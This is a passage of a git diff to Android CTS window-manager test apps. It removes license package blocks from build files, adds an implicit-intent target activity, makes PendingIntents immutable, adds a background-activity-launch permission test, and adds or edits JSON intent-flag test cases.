+++ b/tests/framework/base/windowmanager/app27/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceServicesTestApp27",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appAShareUid/Android.bp b/tests/framework/base/windowmanager/appAShareUid/Android.bp
index 33abd33..96e644d 100644
--- a/tests/framework/base/windowmanager/appAShareUid/Android.bp
+++ b/tests/framework/base/windowmanager/appAShareUid/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceServicesTestShareUidAppA",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appBShareUid/Android.bp b/tests/framework/base/windowmanager/appBShareUid/Android.bp
index 0978a8f..01513e3 100644
--- a/tests/framework/base/windowmanager/appBShareUid/Android.bp
+++ b/tests/framework/base/windowmanager/appBShareUid/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceServicesTestShareUidAppB",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp b/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
index 70d27ac..756bbc9 100644
--- a/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
+++ b/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceDeprecatedSdkApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appDisplaySize/Android.bp b/tests/framework/base/windowmanager/appDisplaySize/Android.bp
index 541f66d..b4e6a4a 100644
--- a/tests/framework/base/windowmanager/appDisplaySize/Android.bp
+++ b/tests/framework/base/windowmanager/appDisplaySize/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceDisplaySizeApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp b/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
index ad7323f..eab5460 100644
--- a/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
+++ b/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDevicePrereleaseSdkApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
index 09cc969..38e5193 100644
--- a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
+++ b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
@@ -18,10 +18,6 @@
 // testing what happens when an app linked against a pre-release SDK is installed
 // on release device.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_app {
     name: "fake-framework",
     installable: false,
diff --git a/tests/framework/base/windowmanager/appProfileable/Android.bp b/tests/framework/base/windowmanager/appProfileable/Android.bp
index 03368fc..177062a 100644
--- a/tests/framework/base/windowmanager/appProfileable/Android.bp
+++ b/tests/framework/base/windowmanager/appProfileable/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceProfileableApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appSecondUid/Android.bp b/tests/framework/base/windowmanager/appSecondUid/Android.bp
index 8f7e1b9..6a725e0 100644
--- a/tests/framework/base/windowmanager/appSecondUid/Android.bp
+++ b/tests/framework/base/windowmanager/appSecondUid/Android.bp
@@ -12,15 +12,14 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceServicesTestSecondApp",
     defaults: ["cts_support_defaults"],
 
-    static_libs: ["cts-wm-app-base"],
+    static_libs: [
+        "cts-wm-app-base",
+        "cts-wm-overlayapp-base"
+    ],
 
     srcs: ["src/**/*.java"],
 
diff --git a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
index f870a59..c926a97 100644
--- a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
@@ -37,6 +37,16 @@
             android:name=".TestActivityWithSameAffinityDifferentUid"
             android:taskAffinity="nobody.but.TestActivityWithSameAffinity"
             android:exported="true" />
+        <activity
+            android:name="android.server.wm.second.ImplicitTargetActivity"
+            android:resizeableActivity="true"
+            android:allowEmbedded="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.server.wm.second.TEST_ACTION" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
         <receiver
             android:name=".LaunchBroadcastReceiver"
             android:enabled="true"
diff --git a/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java
index 338c5c8..09f611d 100644
--- a/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java
+++ b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java
@@ -48,6 +48,11 @@
     public static final String SECOND_LAUNCH_BROADCAST_ACTION =
             getPackageName() + ".LAUNCH_BROADCAST_ACTION";
 
+    public static final String IMPLICIT_TARGET_SECOND_TEST_ACTION =
+            "android.server.wm.second.TEST_ACTION";
+    public static final ComponentName IMPLICIT_TARGET_SECOND_ACTIVITY =
+            component(Components.class, "ImplicitTargetActivity");
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
diff --git a/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/ImplicitTargetActivity.java b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/ImplicitTargetActivity.java
new file mode 100644
index 0000000..ee7b8ab
--- /dev/null
+++ b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/ImplicitTargetActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.second;
+
+import android.app.Activity;
+
+/**
+ * A test {@link Activity} used to test launching from an implicit intent. The action to launch is
+ * android.server.wm.implicittargetapp.TEST_ACTION. Current use is in Multi-Display tests to
+ * check an {@link Activity} launches on the same display. This activity should not share an
+ * affinity with other activities to make sure the launch preferences are independent.
+ */
+public class ImplicitTargetActivity extends Activity {
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/appThirdUid/Android.bp b/tests/framework/base/windowmanager/appThirdUid/Android.bp
index 7e2616c..ebd8ccc 100644
--- a/tests/framework/base/windowmanager/appThirdUid/Android.bp
+++ b/tests/framework/base/windowmanager/appThirdUid/Android.bp
@@ -12,15 +12,14 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceServicesTestThirdApp",
     defaults: ["cts_support_defaults"],
 
-    static_libs: ["cts-wm-app-base"],
+    static_libs: [
+        "cts-wm-app-base",
+        "cts-wm-overlayapp-base"
+    ],
 
     srcs: ["src/**/*.java"],
 
diff --git a/tests/framework/base/windowmanager/app_base/Android.bp b/tests/framework/base/windowmanager/app_base/Android.bp
index 54ff30c..9879e12 100644
--- a/tests/framework/base/windowmanager/app_base/Android.bp
+++ b/tests/framework/base/windowmanager/app_base/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "cts-wm-components-base",
     srcs: ["**/ComponentsBase.java"],
@@ -31,6 +27,7 @@
 
     static_libs: [
         "androidx.annotation_annotation",
+        "cts-wm-shared",
     ],
 
     sdk_version: "test_current",
diff --git a/tests/framework/base/windowmanager/backgroundactivity/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
index 99578c9..8b4e970 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsActivityManagerBackgroundActivityTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
index d55515e..b5b1b88 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
@@ -21,7 +21,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="install-arg" value="-t" />
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
index 45bb0cb..47e56e5 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsBackgroundActivityAppA",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
index eb156b6..5b47fc0 100755
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
@@ -16,37 +16,32 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.server.wm.backgroundactivity.appa">
+     package="android.server.wm.backgroundactivity.appa">
 
     <!-- To enable the app to start activities from the background. -->
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
 
     <application android:testOnly="true">
-        <receiver
-            android:name=".StartBackgroundActivityReceiver"
-            android:exported="true"/>
-        <receiver
-            android:name=".SendPendingIntentReceiver"
-            android:exported="true"/>
-        <receiver
-            android:name=".SimpleAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".StartBackgroundActivityReceiver"
+             android:exported="true"/>
+        <receiver android:name=".SendPendingIntentReceiver"
+             android:exported="true"/>
+        <receiver android:name=".SimpleAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name=".ForegroundActivity"
-            android:taskAffinity=".am_cts_bg_task_a"
-            android:exported="true" />
-        <activity
-            android:name=".BackgroundActivity"
-            android:taskAffinity=".am_cts_bg_task_b"
-            android:exported="true" />
-        <activity
-            android:name=".SecondBackgroundActivity"
-            android:exported="true" />
+        <activity android:name=".ForegroundActivity"
+             android:taskAffinity=".am_cts_bg_task_a"
+             android:exported="true"/>
+        <activity android:name=".BackgroundActivity"
+             android:taskAffinity=".am_cts_bg_task_b"
+             android:exported="true"/>
+        <activity android:name=".SecondBackgroundActivity"
+             android:exported="true"/>
     </application>
 </manifest>
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
index 7ec1cc9..c05b48f 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
@@ -55,14 +55,14 @@
             newIntent.putExtra(START_ACTIVITY_DELAY_MS_EXTRA, startActivityDelayMs);
             newIntent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
             pendingIntent = PendingIntent.getBroadcast(context, 0,
-                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         } else {
             // Create a pendingIntent to launch appA's BackgroundActivity
             Intent newIntent = new Intent();
             newIntent.setComponent(APP_A_BACKGROUND_ACTIVITY);
             newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             pendingIntent = PendingIntent.getActivity(context, 0,
-                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         }
 
         // Send the pendingIntent to appB
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
index 42e69b5..b2482b3 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsBackgroundActivityAppB",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
index 58843ed..65f6d51 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test {
     name: "cts-background-activity-common",
 
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 3cc589a..0b91a9f 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -89,6 +89,7 @@
 
     private static final String TEST_PACKAGE_APP_A = "android.server.wm.backgroundactivity.appa";
     private static final String TEST_PACKAGE_APP_B = "android.server.wm.backgroundactivity.appb";
+    private static final String SHELL_PACKAGE = "com.android.shell";
 
     /**
      * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
@@ -127,6 +128,7 @@
         stopTestPackage(TEST_PACKAGE_APP_A);
         stopTestPackage(TEST_PACKAGE_APP_B);
         AppOpsUtils.reset(APP_A_PACKAGE_NAME);
+        AppOpsUtils.reset(SHELL_PACKAGE);
     }
 
     @Test
@@ -141,6 +143,27 @@
     }
 
     @Test
+    public void testStartBgActivity_usingStartActivitiesFromBackgroundPermission()
+            throws Exception {
+        // Disable SAW app op for shell, since that can also allow starting activities from bg.
+        AppOpsUtils.setOpMode(SHELL_PACKAGE, "android:system_alert_window", MODE_ERRORED);
+
+        // Launch the activity via a shell command, this way the system doesn't have info on which
+        // app launched the activity and thus won't use instrumentation privileges to launch it. But
+        // the shell has the START_ACTIVITIES_FROM_BACKGROUND permission, so we expect it to
+        // succeed.
+        // See testBackgroundActivityBlocked() for a case where an app without the
+        // START_ACTIVITIES_FROM_BACKGROUND permission is blocked from launching the activity from
+        // the background.
+        launchActivity(APP_A_BACKGROUND_ACTIVITY);
+
+        // If the activity launches, it means the START_ACTIVITIES_FROM_BACKGROUND permission works.
+        assertEquals("Launched activity should be at the top",
+                ComponentNameUtils.getActivityName(APP_A_BACKGROUND_ACTIVITY),
+                mWmState.getTopActivityName(0));
+    }
+
+    @Test
     @FlakyTest(bugId = 155454710)
     public void testBackgroundActivityNotBlockedWithinGracePeriod() throws Exception {
         // Start AppA foreground activity
diff --git a/tests/framework/base/windowmanager/dndsourceapp/Android.bp b/tests/framework/base/windowmanager/dndsourceapp/Android.bp
index 0622ad8..4f7734d 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/Android.bp
+++ b/tests/framework/base/windowmanager/dndsourceapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDragAndDropSourceApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
index c044981..bb2a1b3 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
@@ -15,11 +15,12 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.server.wm.dndsourceapp"
-        android:targetSandboxVersion="2">
+     package="android.server.wm.dndsourceapp"
+     android:targetSandboxVersion="2">
     <application android:label="CtsDnDSource">
         <activity android:name="android.server.wm.dndsourceapp.DragSource"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout">
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
@@ -27,7 +28,7 @@
         </activity>
 
         <provider android:name="android.server.wm.dndsourceapp.DragSourceContentProvider"
-                  android:authorities="android.server.wm.dndsource.contentprovider"
-                  android:grantUriPermissions="true"/>
+             android:authorities="android.server.wm.dndsource.contentprovider"
+             android:grantUriPermissions="true"/>
     </application>
 </manifest>
diff --git a/tests/framework/base/windowmanager/dndtargetapp/Android.bp b/tests/framework/base/windowmanager/dndtargetapp/Android.bp
index 96c9d81..bf7372b 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/Android.bp
+++ b/tests/framework/base/windowmanager/dndtargetapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDragAndDropTargetApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
index 7d50b70..6cdddae 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
@@ -15,11 +15,12 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.server.wm.dndtargetapp"
-        android:targetSandboxVersion="2">
+     package="android.server.wm.dndtargetapp"
+     android:targetSandboxVersion="2">
     <application android:label="CtsDnDTarget">
         <activity android:name="android.server.wm.dndtargetapp.DropTarget"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout">
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
index d2ee968..b658c2a 100644
--- a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDragAndDropTargetAppSdk23",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
index d10a548..106415c 100644
--- a/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
@@ -15,9 +15,10 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.server.wm.dndtargetappsdk23">
+     package="android.server.wm.dndtargetappsdk23">
     <application android:label="CtsDnDTarget">
-        <activity android:name="android.server.wm.dndtargetappsdk23.DropTarget">
+        <activity android:name="android.server.wm.dndtargetappsdk23.DropTarget"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-1.json b/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-1.json
new file mode 100644
index 0000000..5e90c3f
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-1.json
@@ -0,0 +1,44 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NO_HISTORY | FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleTopActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-2.json b/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-2.json
new file mode 100644
index 0000000..0e6e758
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-2.json
@@ -0,0 +1,58 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "FLAG_ACTIVITY_NO_HISTORY",
+                "class": "android.server.wm.intent.Activities$SingleTopActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/forResult/test-10.json b/tests/framework/base/windowmanager/intent_tests/forResult/test-10.json
new file mode 100644
index 0000000..6d0e909
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/forResult/test-10.json
@@ -0,0 +1,52 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleInstanceActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": true
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstanceActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/forResult/test-11.json b/tests/framework/base/windowmanager/intent_tests/forResult/test-11.json
new file mode 100644
index 0000000..3bf2bc1
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/forResult/test-11.json
@@ -0,0 +1,66 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleInstanceActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": true
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstanceActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTaskActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstanceActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/forResult/test-2.json b/tests/framework/base/windowmanager/intent_tests/forResult/test-2.json
index c8bcea6..685b00f 100644
--- a/tests/framework/base/windowmanager/intent_tests/forResult/test-2.json
+++ b/tests/framework/base/windowmanager/intent_tests/forResult/test-2.json
@@ -36,10 +36,6 @@
                     {
                         "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
                         "state": "RESUMED"
-                    },
-                    {
-                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
-                        "state": "STOPPED"
                     }
                 ]
             }
diff --git a/tests/framework/base/windowmanager/intent_tests/forResult/test-4.json b/tests/framework/base/windowmanager/intent_tests/forResult/test-4.json
index 487e287..23d175d 100644
--- a/tests/framework/base/windowmanager/intent_tests/forResult/test-4.json
+++ b/tests/framework/base/windowmanager/intent_tests/forResult/test-4.json
@@ -36,10 +36,6 @@
                     {
                         "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
                         "state": "RESUMED"
-                    },
-                    {
